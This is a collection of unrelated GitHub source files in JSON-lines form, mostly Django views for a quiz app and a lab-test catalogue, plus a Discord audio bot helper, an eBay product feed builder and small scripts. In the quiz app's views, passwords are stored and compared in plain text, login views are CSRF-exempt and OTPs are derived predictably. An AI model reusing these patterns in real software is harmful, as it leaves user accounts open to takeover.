abs(a) < 0.01:\n        a = 0\n    if abs(b) < 0.01:\n        b = 0\n    print(\"move(\" + str(a) + \", \" + str(b) + \");\")\nprint(\"wait1Msec(3000);\")\nprint(\"// At point B\")\nfor a, b in moves3:\n    if abs(a) < 0.01:\n        a = 0\n    if abs(b) < 0.01:\n        b = 0\n    print(\"move(\" + str(a) + \", \" + str(b) + \");\")\nprint(\"wait1Msec(3000);\")\nprint(\"// At point A\")\nfor a, b in moves4:\n    if abs(a) < 0.01:\n        a = 0\n    if abs(b) < 0.01:\n        b = 0\n    print(\"move(\" + str(a) + \", \" + str(b) + \");\")\n","repo_name":"kfair/16-311-Lab-3","sub_path":"Lab-9/path_planning.py","file_name":"path_planning.py","file_ext":"py","file_size_in_byte":7287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"20922997888","text":"from django.shortcuts import render,redirect\nfrom django.http import HttpResponse\nfrom webapp.models import *\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.core.mail import EmailMessage\nimport uuid\nimport datetime\nfrom webapp.myutil import *\n# Create your views here.\ndef index(request):\n\tdic={'checksession':checksession(request)}\n\treturn render(request, 'index.html',dic)\ndef verified(request):\n\treturn render(request, 'verified.html',{})\ndef register(request):\n\n\treturn render(request, 'register.html',{})\ndef dashbord(request):\n\tdic={'checksession':checksession(request)}\n\treturn render(request,'dashbord.html',{})\ndef quizregistration(request):\n\treturn render(request,'quizregistration.html',{})\ndef candidatelogin(request):\n\treturn render(request,'candidatelogin.html',{})\n\n@csrf_exempt\ndef OrgSave(request):\n\tif request.method=='POST':\n\t\tf=request.POST.get(\"Fullname\")\n\t\te=request.POST.get(\"Email\")\n\t\tp=request.POST.get(\"Password\")\n\t\t#OrganizerData.objects.all().delete()\n\t\t#to generate the ID\n\t\tc=\"ORG00\"\n\t\tx=1\n\t\tcid=c+str(x)\n\t\twhile OrganizerData.objects.filter(Org_ID=cid).exists():\n\t\t\tx=x+1 #2\n\t\t\tcid=c+str(x)\n\t\tx=int(x)\n\t\t#Generate OTP\n\t\totp=uuid.uuid5(uuid.NAMESPACE_DNS, str(datetime.datetime.today())+cid+f+e+p).int\n\t\totp=str(otp)\n\t\totp=otp.upper()[0:6]\n\t\trequest.session['OTP']=otp#Make Session\n\t\tif OrganizerData.objects.filter(Org_Email=e).exists():\n\t\t\tdic={'msg':'Already Exists'}\n\t\t\treturn render(request, 'register.html',dic)\n\t\telse:\n\t\t\tOrganizerData(\n\t\t\t\tOrg_ID=cid,\n\t\t\t\tOrg_Name=f,\n\t\t\t\tOrg_Email=e,\n\t\t\t\tOrg_Password=p,\n\t\t\t\t).save()\n\t\t\tsub='QuizAPP OTP'\n\t\t\tmsg='''Your OTP is '''+otp+''',\n\nThanks!'''\n\t\t\temail=EmailMessage(sub,msg,to=[e])\n\t\t\temail.send()\n\t\t\tmsg=\"Registered Success! Now Verify Your Email\"\n\t\t\tdic={'msg':msg,'id':cid}#JSON\n\t\t\treturn render(request, 'verified.html',dic)\n@csrf_exempt\n\n\ndef verify_user(request):\n\tif request.method=='POST':\n\t\tuotp=request.POST.get('otp')\n\t\torgid=request.POST.get('id')\n\t\tsotp=request.session['OTP']\n\t\tif uotp==sotp:\n\t\t\tOrganizerData.objects.filter(Org_ID=orgid).update(Status='Active')\n\t\t\trequest.session['org_id'] = orgid\n\t\t\treturn redirect('/index/')\n\t\telse:\n\t\t\tdic={'id':orgid,'msg':'Incorrect OTP'}\n\t\t\treturn render(request, 'verified.html',dic)\n\ndef resendotp(request):\n\torgid=request.GET.get('orgid')\n\torgobj=OrganizerData.objects.filter(Org_ID=orgid)[0]\n\totp=request.session['OTP']\n\tsub='QuizAPP OTP'\n\tmsg='''Your OTP is '''+otp+''',\n\nThanks!'''\n\temail=EmailMessage(sub,msg,to=[orgobj.Org_Email])\n\temail.send()\n\tdic={'id':orgid}\n\treturn render(request, 'verified.html',dic)\n\n@csrf_exempt\ndef checklogin(request):\n\tif request.method=='POST':\n\t\temail=request.POST.get('email')\n\t\tpassword=request.POST.get('password')\n\t\tif OrganizerData.objects.filter(Org_Email=email,Org_Password=password).exists():\n\t\t\tif OrganizerData.objects.filter(Org_Email=email,Status='Active').exists():\n\t\t\t\trequest.session['org_id']=OrganizerData.objects.filter(Org_Email=email)[0].Org_ID\n\t\t\t\treturn redirect(\"/index/\")\n\t\t\telse:\n\n\t\t\t\torg_obj=OrganizerData.objects.filter(Org_Email=email)[0]\n\t\t\t\totp=uuid.uuid5(uuid.NAMESPACE_DNS, str(datetime.datetime.today())+org_obj.Org_ID+org_obj.Org_Name+org_obj.Org_Password).int\n\n\t\t\t\torgobj=OrganizerData.objects.filter(Org_Email=email)[0]\n\t\t\t\totp=uuid.uuid5(uuid.NAMESPACE_DNS, str(datetime.datetime.today())+orgobj.Org_ID+orgobj.Org_Name+orgobj.Org_Email+orgobj.Org_Password).int\n\n\t\t\t\totp=str(otp)\n\t\t\t\totp=otp.upper()[0:6]\n\t\t\t\trequest.session['OTP']=otp#Make Session\n\t\t\t\tsub='QuizAPP OTP'\n\t\t\t\tmsg='''Your OTP is '''+otp+''',\n\nThanks!'''\n\n\t\t\t\temail=EmailMessage(sub,msg,to=[e])\n\t\t\t\temail.send()\n\t\t\t\tmsg=\"Registered Success! Now Verify Your Email\"\n\t\t\t\tdic={'msg':msg,'id':org_obj.Org_ID}#JSON\n\t\t\t\treturn render(request, 'verified.html',dic)\n\n\t\telse:\n\t\t\tdic={'msg':'Incorrect Email/Password'}\n\t\t\treturn render(request,'login.html',dic)\n\ndef logout(request):\n\tdel request.session['org_id']\n\treturn redirect('/index/')\n\ndef login(request):\n\treturn render(request, 'login.html',{})\ndef elements(request):\n\tdic={'checksession':checksession(request)}\n\treturn render(request, 'elements.html',dic)\ndef courses(request):\n\tdic={'checksession':checksession(request)}\n\treturn render(request, 'courses.html',dic)\ndef contact(request):\n\tdic={'checksession':checksession(request)}\n\treturn render(request, 'contact.html',dic)\ndef blog_details(request):\n\tdic={'checksession':checksession(request)}\n\treturn render(request, 'blog_details.html',dic)\ndef blog(request):\n\tdic={'checksession':checksession(request)}\n\treturn render(request, 'blog.html',dic)\ndef about(request):\n\tdic={'checksession':checksession(request)}\n\treturn render(request, 'about.html',dic)\n\ndef createquiz(request):\n\tdic={'checksession':checksession(request)}\n\treturn render(request,'createquiz.html',dic)\n\n@csrf_exempt\ndef savequiz(request):\n\tif request.method=='POST':\n\t\tname = request.POST.get(\"name\")\n\t\tcategory = request.POST.get(\"category\")\n\t\tquesno = request.POST.get(\"quesno\")\n\t\tmarks = request.POST.get(\"marks\")\n\t\ttime = request.POST.get(\"time\")\n\t\t#uizData.objects.all().delete()\n\t\t#to generate the ID\n\t\tq=\"QZ00\"\n\t\tx=1\n\t\tqid=q+str(x)\n\t\twhile QuizData.objects.filter(Quiz_ID=qid).exists():\n\t\t\tx=x+1 #2\n\t\t\tqid=q+str(x)\n\t\tx=int(x)\n\t\tquiz_password=uuid.uuid5(uuid.NAMESPACE_DNS, str(datetime.datetime.today())+qid+request.session['org_id'])\n\t\tquiz_password=str(quiz_password)\n\t\tquiz_password=quiz_password.upper()[0:8]\n\t\tif not QuizData.objects.filter(Quiz_Name=name).exists():\n\t\t\tQuizData(\n\t\t\t\tQuiz_ID=qid,\n\t\t\t\tOrg_ID=request.session['org_id'],\n\t\t\t\tQuiz_Password=quiz_password,\n\t\t\t\tQuiz_Name=name,\n\t\t\t\tQuiz_Category=category,\n\t\t\t\tQuestion_Count=quesno,\n\t\t\t\tMarks_Per_Ques=marks,\n\t\t\t\tMaximum_Time=time\n\t\t\t\t).save()\n\t\t\treturn redirect('/organizerdashboard/')\n\t\telse:\n\t\t\tdic={'checksession':checksession(request), 'msg':'Choose a different Name of Quiz....'}\n\t\t\treturn render(request,'createquiz.html',dic)\n\telse:\n\t\treturn HttpResponse('Error 404 Not Found')\n\ndef organizerdashboard(request):\n\tdic={'checksession':checksession(request),\n\t\t'data':QuizData.objects.filter(Org_ID=request.session['org_id'])}\n\treturn render(request,'organizerdashboard.html',dic)\n\ndef quizdash(request):\n\tquizid = request.GET.get('id')\n\trequest.session['quiz_id'] = quizid\n\tdic={'checksession':checksession(request),\n\t\t'data':QuizData.objects.filter(Quiz_ID=quizid)[0],\n\t\t'questions':QuestionData.objects.filter(Quiz_ID=quizid)}\n\treturn render(request,'quizdash.html',dic)\ndef result(request):\n\tquizid = request.GET.get('id')\n\trequest.session['quiz_id'] = quizid\n\tdic={'checksession':checksession(request),\n\t\t'data':QuizData.objects.filter(Quiz_ID=quizid)[0],\n\t\t'results':ResultData.objects.filter(Quiz_ID=quizid)}\n\treturn render(request,'result.html',dic)\ndef candidatelist(request):\n\tquizid = request.GET.get('id')\n\trequest.session['quiz_id'] = quizid\n\tdic={'checksession':checksession(request),\n\t\t'data':QuizData.objects.filter(Quiz_ID=quizid)[0],\n\t\t'candidates':CandidateData.objects.filter(Quiz_ID=quizid)}\n\treturn render(request,'candidatelist.html',dic)\ndef candidateregistration(request):\n\tdic={'data':QuizData.objects.filter(Quiz_ID=request.GET.get('id'))[0]}\n\treturn render(request,'candidateregistration.html',dic)\n@csrf_exempt\ndef savequestion(request):\n\tif request.method=='POST':\n\t\tques = request.POST.get('question')\n\t\toption_a = request.POST.get('a')\n\t\toption_b = request.POST.get('b')\n\t\toption_c = request.POST.get('c')\n\t\toption_d = request.POST.get('d')\n\t\tanswer = request.POST.get('answer')\n\t\tq=\"QUES00\"\n\t\tx=1\n\t\tqid=q+str(x)\n\t\twhile QuestionData.objects.filter(Question_ID=qid).exists():\n\t\t\tx=x+1 #2\n\t\t\tqid=q+str(x)\n\t\tx=int(x)\n\t\tif len(QuestionData.objects.filter(Quiz_ID=request.session['quiz_id'])) < int(QuizData.objects.filter(Quiz_ID=request.session['quiz_id'])[0].Question_Count): \n\t\t\tQuestionData(\n\t\t\t\tQuestion_ID=qid,\n\t\t\t\tQuiz_ID=request.session['quiz_id'],\n\t\t\t\tQuestion=ques,\n\t\t\t\tOption_A=option_a,\n\t\t\t\tOption_B=option_b,\n\t\t\t\tOption_C=option_c,\n\t\t\t\tOption_D=option_d,\n\t\t\t\tAnswer=answer\n\t\t\t\t).save()\n\t\t\treturn redirect('/quizdash/?id='+request.session['quiz_id'])\n\t\telse:\n\t\t\tdic={'checksession':checksession(request),\n\t\t\t\t'data':QuizData.objects.filter(Quiz_ID=request.session['quiz_id'])[0],\n\t\t\t\t'questions':QuestionData.objects.filter(Quiz_ID=request.session['quiz_id']),\n\t\t\t\t'msg':'Question Limit Exceeds!'}\n\t\t\treturn render(request,'quizdash.html',dic)\n\telse:\n\t\treturn HttpResponse('Error 404 Not Found')\ndef deleteques(request):\n\tid_=request.GET.get('id')\n\tQuestionData.objects.filter(Question_ID=id_).delete()\n\treturn redirect('/quizdash/?id='+request.session['quiz_id'])\n@csrf_exempt\ndef savecandidate(request):\n\tif request.method=='POST':\n\t\tname = request.POST.get('name')\n\t\temail = request.POST.get('email')\n\t\tcourse = request.POST.get('course')\n\t\tbranch = request.POST.get('branch')\n\t\tquizid = request.POST.get('quizid')\n\t\tif not CandidateData.objects.filter(Candidate_Email=email, Quiz_ID=quizid).exists():\n\t\t\tq=\"CAN00\"\n\t\t\tx=1\n\t\t\tqid=q+str(x)\n\t\t\twhile CandidateData.objects.filter(Candidate_ID=qid).exists():\n\t\t\t\tx=x+1 #2\n\t\t\t\tqid=q+str(x)\n\t\t\tx=int(x)\n\t\t\tCandidateData(\n\t\t\t\tCandidate_ID=qid,\n\t\t\t\tQuiz_ID=quizid,\n\t\t\t\tCandidate_Name=name,\n\t\t\t\tCandidate_Email=email,\n\t\t\t\tCandidate_Course=course,\n\t\t\t\tCandidate_Branch=branch\n\t\t\t\t).save()\n\t\t\tdic={'msg':'You have successfully registered!',\n\t\t\t\t'data':QuizData.objects.filter(Quiz_ID=quizid)[0]}\n\t\t\treturn render(request,'candidateregistration.html',dic)\n\t\telse:\n\t\t\tdic={'msg':'You have already registered for this quiz!',\n\t\t\t\t'data':QuizData.objects.filter(Quiz_ID=quizid)[0]}\n\t\t\treturn render(request,'candidateregistration.html',dic)\n\telse:\n\t\treturn HttpResponse('Error 404 Not Found')\n@csrf_exempt\ndef candidatecheck(request):\n\tif request.method=='POST':\n\t\temail = request.POST.get('email')\n\t\tpassword = request.POST.get('password')\n\t\tquiz = QuizData.objects.filter(Quiz_Password=password).exists()\n\t\tcandidate = CandidateData.objects.filter(Candidate_Email=email).exists()\n\t\tstatus=ResultData.objects.filter(Candidate_ID=CandidateData.objects.filter(Candidate_Email=email)[0].Candidate_ID).exists()\n\t\tif quiz and candidate and status==False:\n\t\t\tquizid=QuizData.objects.filter(Quiz_Password=password)[0].Quiz_ID\n\t\t\tquiztime=QuizData.objects.filter(Quiz_Password=password)[0].Maximum_Time\n\t\t\ttime=int(quiztime)*60*1000\n\t\t\trequest.session['quizid'] = quizid\n\t\t\trequest.session['canid'] = CandidateData.objects.filter(Candidate_Email=email)[0].Candidate_ID\n\t\t\tquestions=QuestionData.objects.filter(Quiz_ID=quizid)\n\t\t\treturn render(request,'questionpaper.html',{'data':questions,'time':time,'quiztime':quiztime})\n\t\telse:\n\t\t\treturn render(request,'candidatelogin.html',{'msg':'Incorrect Credentials or You have already Participated'})\n\telse:\n\t\treturn HttpResponse('Error 404 Not Found')\n@csrf_exempt\ndef calculate_result(request):\n\tquizid = request.session['quizid']\n\tcanid = request.session['canid']\n\tmark_per_ques = int(QuizData.objects.filter(Quiz_ID=quizid)[0].Marks_Per_Ques)\n\tobtained_marks = 0\n\tmax_marks = int(QuizData.objects.filter(Quiz_ID=quizid)[0].Marks_Per_Ques) * int(QuizData.objects.filter(Quiz_ID=quizid)[0].Question_Count)\n\tfor x in QuestionData.objects.filter(Quiz_ID=quizid):\n\t\tif request.POST.get(x.Question_ID) == x.Answer:\n\t\t\tobtained_marks=obtained_marks+mark_per_ques\n\t\t\tcontinue\n\t\telse:\n\t\t\tcontinue\n\tResultData(\n\t\tCandidate_ID=canid,\n\t\tQuiz_ID=quizid,\n\t\tResult=str(obtained_marks)\n\t).save()\n\tdic={'candata':CandidateData.objects.filter(Candidate_ID=canid)[0],\n\t\t'marks':obtained_marks,\n\t\t'maxmarks':max_marks}\n\treturn render(request,'candidateresult.html',dic)","repo_name":"Pratiksha69/Quizapp","sub_path":"webapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74996858919","text":"import discord\nimport yt_dlp as youtube_dl\nimport asyncio\nfrom common import basicVideoInfo\n\nYTDL_OPTIONS = {\n    \"format\": \"bestaudio/best\",\n    \"outtmpl\": \"%(extractor)s-%(id)s-%(title)s.%(ext)s\",\n    \"restrictfilenames\": True,\n    \"noplaylist\": True,\n    \"nocheckcertificate\": True,\n    \"ignoreerrors\": False,\n    \"logtostderr\": False,\n    \"quiet\": True,\n    \"no_warnings\": True,\n    \"default_search\": \"auto\",\n    \"source_address\": \"0.0.0.0\",  # bind to ipv4 since ipv6 addresses cause issues sometimes\n}\n\nFFMPEG_OPTIONS = {\n    \"before_options\": \"-reconnect 1 -reconnect_streamed 1 -reconnect_delay_max 5\",\n    \"options\": '-vn -filter:a \"volume=1\"',\n}\n\n\nytdl = youtube_dl.YoutubeDL(YTDL_OPTIONS)\n\n\nclass YTDLSource(discord.PCMVolumeTransformer):\n    def __init__(self, source, *, data, volume=0.5):\n        super().__init__(source, volume)\n\n        self.data = data\n\n        self.title = data.get(\"title\")\n        self.url = data.get(\"url\")\n\n    @classmethod\n    async def from_url(cls, url, *, loop=None, stream=True, download=False):\n        loop = loop or asyncio.get_event_loop()\n        a = ytdl.extract_info(url, download=download)\n        data = await loop.run_in_executor(None, lambda: a)\n\n        if \"entries\" in data:\n            # take first item from a playlist\n            data = data[\"entries\"][0]\n\n        filename = data[\"url\"] if stream else ytdl.prepare_filename(data)\n\n        def getSource():\n            return cls(discord.FFmpegPCMAudio(filename, **FFMPEG_OPTIONS), data=data)\n\n        return basicVideoInfo(url, a, getSource)\n","repo_name":"letruxux/sassobot","sub_path":"ytdl.py","file_name":"ytdl.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24197260506","text":"import matplotlib.pyplot as plt\nimport pickle\nimport numpy as np\nimport sys\n\nwith open('logs/move_history', 'rb') as f1:\n    move_history = pickle.load(f1)\n    sys.stdout.write(f'{move_history[0]}\\n')\n\nwith open('logs/circles', 'rb') as f2:\n    circles = pickle.load(f2)\n    sys.stdout.write(f'{circles[0]}\\n\\n')\n\nwith open('logs/simulate_history', 'rb') as f3:\n    simulate_history = pickle.load(f3)\n\n\nmove_history = np.array(move_history)\nsimulate_history = np.array(simulate_history)\ncircles = np.array(circles, dtype='float')\n\nplt.plot(move_history[:, 0], move_history[:, 1])\nplt.plot(circles[:, 0], circles[:, 1], 'r.')\nplt.plot(simulate_history[:, 0] + 334, simulate_history[:, 1], 'g')\nplt.show()\n","repo_name":"yavorich/CatchTheBall","sub_path":"analytics.py","file_name":"analytics.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71133119401","text":"# Ändra i de båda print() så att vi får rätt resultat.\n# Raderna där vi skapar variablerna ska alltså inte ändras och inga ny rader\n# ska läggas till.\n# Använd det som vi gick igenom på lektion2.\n\nmy_first_number = 2\nmy_second_number = 3\nmy_third_number = \"4\"\n\nprint(\"Här ska det stå 9:\", my_first_number + my_second_number + my_third_number)\nprint(\"Här ska det stå 234:\", my_first_number + my_second_number + my_third_number)\n","repo_name":"MisaITJohan/MisaIT_Workshop_Sommar23","sub_path":"UppgifterFrånPythonGrundkurs/Lektion03/Övning03-01.py","file_name":"Övning03-01.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"sv","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"43547318211","text":"from lxml.builder import E, ElementMaker\nfrom urllib import urlencode\n\nfrom django.db.models import Q\n\nfrom main.utils import absolute_uri\nfrom apps.purchase.models import LineItem\nfrom marketplace.product_feed import XMLProductFeedBuilder, XMLFeedWriter, currency_convert, \\\n    COUNTRY_US, COUNTRY_GB\n\nem = ElementMaker(namespace=\"\")\n\n\nclass EbayXMLProductFeedBuilder(XMLProductFeedBuilder):\n\n    def __init__(self, *args):\n        return super(EbayXMLProductFeedBuilder, self).__init__(*args,\n                                                               mapper=None)\n    def _gen(self, name, value):\n        return getattr(em, name)(value)\n\n    def _find_shipping_rule(self):\n        shipping_profile = self.product.shipping_profile\n        try:\n            # Find this country\n            return shipping_profile.shipping_rules.filter(\n                    countries=self.country)[0]\n        except IndexError:\n            # Find 'rest of world'\n            assert shipping_profile.ships_worldwide(), self.product\n\n    def generate_shipping(self):\n        rule = self._find_shipping_rule()\n        if rule:\n            price = rule.rule_price\n        else:\n            price = self.product.shipping_profile.others_price\n        native_price = currency_convert(float(price.amount), self.currency,\n                                        price.currency)\n        price_str = \"{} {}\".format(native_price, self.currency)\n        return em.shipping(price_str)\n\n    def generate_category(self):\n        return self._gen(\"Category\", \" > \".join(self.product.categories))\n\n    def generate_condition(self):\n        # This is always 'new' - eBay reject anything else\n        return self._gen(\"Condition\", \"New\")\n\n    def generate_top_seller_rank(self):\n        return self._gen(\"Top_Seller_Rank\",\n                         str(self.product.ebay_top_seller_rank))\n\n    def generate_shipping_estimate(self):\n        rule = self._find_shipping_rule()\n        if rule:\n            minimum, maximum = rule.delivery_time, rule.delivery_time_max\n        else:\n            sp = self.product.shipping_profile\n            minimum = sp.others_delivery_time\n            maximum = sp.others_delivery_time_max\n        value = \"Between {} and {} days\".format(minimum, maximum)\n        return self._gen(\"shipping_estimate\", value)\n\n    def _get_gender_groups(self):\n        gender_groups = \\\n            super(EbayXMLProductFeedBuilder, self)._get_gender_groups()\n        gender_groups.update({\n            \"Teen Boys\": \"boys\",\n            \"Teen Girls\": \"girls\",\n            \"Boys\": \"boys\",\n            \"Girls\": \"girls\",\n            \"Baby Boys\": \"infants and toddlers\",\n            \"Baby Girls\": \"infants and toddlers\",\n            \"Babies\": \"infants and toddlers\",\n        })\n        return gender_groups\n\n    def generate_material(self):\n        all_materials = [cl.title for cl in self.product.materials.all()[:3]]\n        return self._gen('material', ', '.join(all_materials))\n\n    def generate_availability(self):\n        # Ebay feed is very optimized, we remove products if they are not in stock\n        if not self.product.in_stock():\n            self.exclude = True\n        return self._gen(\"Stock_Availability\", \"Y\")\n\n    def check_shipping(self):\n        shipping_profile = self.product.shipping_profile\n        country_label = 'ships_to_%s' % (self.country.code,)\n\n        label_names = {}\n        if shipping_profile.ships_worldwide():\n            label_names['ships_worldwide'] = True\n        else:\n            if shipping_profile.ships_to_country(COUNTRY_US):\n                label_names['ships_to_US'] = True\n            elif shipping_profile.ships_to_country(COUNTRY_GB):\n                label_names['ships_to_GB'] = True\n            elif shipping_profile.ships_to_country(self.country):\n                label_names[country_label] = True\n\n        if self.country is not None:\n            if country_label not in label_names and not shipping_profile.ships_worldwide():\n                self.exclude = True\n\n    def exclude_if_not_sold(self):\n        # Another case of Ebay feed optimization.\n        # If a product has not sold at least 3 times, it is removed\n        li = LineItem.objects.filter(product=self.product).count()\n        if li < 1:\n            self.exclude = True\n\n    def exlucde_if_not_source_country(self):\n        if self.country.code != self.product.shipping_profile.shipping_country.code:\n            self.exclude = True\n\n    def generate_link(self):\n        url = str(self._generate_link())\n        utm_data = {\n            \"utm_source\": \"ebay\",\n            \"utm_medium\": \"cpc\",\n        }\n        url = \"%s?%s\" % (url, urlencode(dict(utm_data)))\n        return E.link(url)\n\n    def generate(self):\n        if len(self.product.images) == 0:\n            return None\n        self.exclude_if_not_sold()\n        self.exlucde_if_not_source_country()\n        self.check_shipping()\n        if self.exclude:\n            return None\n        item = em.item(\n            self.generate_id(),\n            self.generate_title(),\n            self.generate_link(),\n            self.generate_price(),\n            self.generate_availability(),\n            self.generate_shipping(),\n            self.generate_category(),\n            self.generate_condition(),\n            self.generate_brand(),\n            self.generate_description(),\n            self.generate_top_seller_rank(),\n            self.generate_shipping_estimate(),\n            self.generate_gender(),\n            self.generate_color(),\n            self.generate_material(),\n            self.generate_age_group()\n        )\n        # We double check here if one of the functions above excluded the product\n        for image_link in self.generate_image_links():\n            item.append(image_link)\n        if self.exclude:\n            return None\n        return item\n\n\nclass EbayXMLFeedWriter(XMLFeedWriter):\n\n    xmlns_str = 'xmlns=\"\"'\n\n    def get_products(self):\n        products = super(EbayXMLFeedWriter, self).get_products()\n        # Only products that ship to this country\n        products = products.filter(\n            Q(shipping_profile__shipping_rules__countries=self.country)\n            | Q(shipping_profile__others_price__gt=0)\n        ).distinct()\n        return products.order_by(\"number_of_sales\")\n\n    def products_iterator(self):\n        for num, product in enumerate(self.get_products().iterator(), 1):\n            # FIXME this is a bit nasty\n            product.ebay_top_seller_rank = num\n            yield product\n\n    def get_builder(self, product):\n        return EbayXMLProductFeedBuilder(self.currency, self.country, product)\n","repo_name":"codeadict/ecomarket","sub_path":"apps/marketplace/product_feed_ebay.py","file_name":"product_feed_ebay.py","file_ext":"py","file_size_in_byte":6605,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"16313556380","text":"from django.shortcuts import render\n\nfrom .models import *\nfrom django.shortcuts import redirect\n\n\n\n\ndef dashboard_view(request):\n    if request.user.is_authenticated:\n    \ttemplate_name = 'dashboard/index.html'\n    \tcontext = {}\n    \treturn render(request, template_name, context)\n    else:\n        template_name = 'userJourney/login.html'\n        context = {}\n        return render(request, template_name, context)\n\n\ndef test_add_view(request):\n    if request.method == 'GET':\n        if request.user.is_authenticated:\n            return render(request, 'Labtest/add_test.html')\n        else:\n            return render(request, 'userjourney/login.html')\n    \n    if request.method == 'POST':\n        name = request.POST.get('name')\n        # try:\n        testObj = Test.objects.filter(name=name)\n        if testObj:\n            return render(request, 'Labtest/add_test.html', {\"error\": \"Test already exist with same name\"})\n        else:\n\n            new_test = Test.objects.create(\n                name = name\n            ) \n            return render(request, 'Labtest/add_test.html', {\"success\": \"Test Created Successfully\"})\n            \ndef test_list_view(request):\n    if request.method == 'GET':\n        if request.user.is_authenticated:\n            tests = Test.objects.all()\n            return render(request, 'Labtest/test_list.html', {'tests':tests})\n    else:\n        return render(request, 'userjourney/login.html')\n\n\n\ndef sample_add_view(request):\n    if request.method == 'GET':\n        if request.user.is_authenticated:\n            return render(request, 'Labtest/add_sample.html')\n        else:\n            return render(request, 'userjourney/login.html')\n    \n    if request.method == 'POST':\n        name = request.POST.get('name')\n        # try:\n        testObj = sample.objects.filter(name=name)\n        if testObj:\n            return render(request, 'Labtest/add_sample.html', {\"error\": \"Sample already exist with same name\"})\n        else:\n\n            new_test = sample.objects.create(\n                name = name\n            ) \n            return render(request, 'Labtest/add_sample.html', {\"success\": \"Sample Created Successfully\"})\n            \ndef sample_list_view(request):\n    if request.method == 'GET':\n        if request.user.is_authenticated:\n            samples = sample.objects.all()\n            return render(request, 'Labtest/sample_list.html', {'samples':samples})\n    else:\n        return render(request, 'userjourney/login.html')\n\n\n\ndef labtest_add_view(request):\n    if request.method == 'GET':\n        if request.user.is_authenticated:\n            samples = sample.objects.all()\n            tests = Test.objects.all()\n            return render(request, 'Labtest/add_labtest.html' , {'samples':samples,'tests':tests})\n        else:\n            return render(request, 'userjourney/login.html')\n    \n    if request.method == 'POST':\n        name = request.POST.get('name')\n        actualPrice = request.POST.get('actualPrice')\n        discountedPrice =request.POST.get('discountedPrice')\n        image = request.FILES.get('image')\n        testDescription = request.POST.get('testDescription')\n        testIncluded = request.POST.getlist('testIncluded') \n        testRequirements = request.POST.getlist('testRequirements')\n\n        testObj = LabTest.objects.filter(name=name)\n        if testObj:\n            return render(request, 'Labtest/add_labtest.html', {\"error\": \"LabTest already exist with same name\"})\n        else:\n\n            new_test = LabTest.objects.create(\n                name = name,\n                actualPrice = actualPrice,\n                discountedPrice = discountedPrice,\n                image = image,\n                testDescription = testDescription\n                \n            ) \n\n            labObj = LabTest.objects.get(name = name)\n\n\n            for obj in testIncluded:\n                if Test.objects.filter(id=obj):\n            \t    obj1 = Test.objects.get(id=obj)\n            \t    labObj.testIncluded.add(obj1)\n            \t    labObj.save()\n\n            for obj in testRequirements:\n                if sample.objects.filter(id=obj):\n        \t        obj1 = sample.objects.get(id=obj)\n        \t        labObj.testRequirements.add(obj1)\n        \t        labObj.save()\n\n\n            return render(request, 'Labtest/add_labtest.html', {\"success\": \"LabTest Created Successfully\"})\n            \ndef labtest_list_view(request):\n    if request.method == 'GET':\n        if request.user.is_authenticated:\n            labtests = LabTest.objects.all()\n            return render(request, 'Labtest/labtest_list.html', {'labtests':labtests})\n    else:\n        return render(request, 'userjourney/login.html')","repo_name":"RandhirPrivateRepo/drugZone","sub_path":"DashBoard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"27338209340","text":"import datetime\nimport os\nfrom socket import socket\n\nfrom appium import webdriver\nfrom selenium.webdriver.common import utils\nfrom selenium.webdriver.remote.webdriver import WebDriver\nfrom selenium.webdriver.support.wait import WebDriverWait\n\nfrom page.main_page import MainPage\n\n\nclass App:\n    driver: WebDriver = None\n\n    @classmethod\n    def start(cls):\n        caps = {}\n        caps[\"platformName\"] = \"android\"\n        caps[\"deviceName\"] = \"seveniruby\"\n        caps[\"appPackage\"] = \"com.xueqiu.android\"\n        caps[\"appActivity\"] = \".view.WelcomeActivityAlias\"\n        caps[\"autoGrantPermissions\"] = \"true\"\n        # caps[\"udid\"] = \"emulator-5556\"\n        caps['udid'] = os.getenv(\"udid\", None)\n        caps['systemPort'] = utils.free_port()\n        caps['chromedriverPort'] = utils.free_port()\n\n\n\n        caps[\"chromedriverExecutable\"] = \"/Users/seveniruby/projects/chromedriver/2.20/chromedriver\"\n        caps[\"showChromedriverLog\"] = True\n\n        print(caps)\n\n        cls.driver = webdriver.Remote(\"http://localhost:4723/wd/hub\", caps)\n        cls.driver.implicitly_wait(5)\n\n        # sleep(20)\n        # if len(self.driver.find_elements_by_id(\"image_cancel\")) >=1:\n        #     self.driver.find_element_by_id(\"image_cancel\").click()\n        #\n        #\n\n        # WebDriverWait(self.driver, 15).until(\n        #     expected_conditions.visibility_of_element_located((By.ID, \"image_cancel\"))\n        # )\n\n        # def loaded(driver):\n        #     print(datetime.datetime.now())\n        #     if len(cls.driver.find_elements_by_id(\"image_cancel\")) >=1:\n        #         cls.driver.find_element_by_id(\"image_cancel\").click()\n        #         return True\n        #     else:\n        #         return False\n        #\n        # try:\n        #     WebDriverWait(cls.driver, 20).until(loaded)\n        # except:\n        #     print(\"no update\")\n\n        return MainPage(cls.driver)\n\n    @classmethod\n    def get_free_port(cls):\n        \"\"\"\n        获得可用的端口\n        :return:\n        \"\"\"\n        with socket() as s:\n            s.bind(('', 0))\n            return s.getsockname()[1]\n\n    @classmethod\n    def quit(cls):\n        cls.driver.quit()\n","repo_name":"seveniruby/Geek_AppAutomationTestingCode","sub_path":"page/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"}
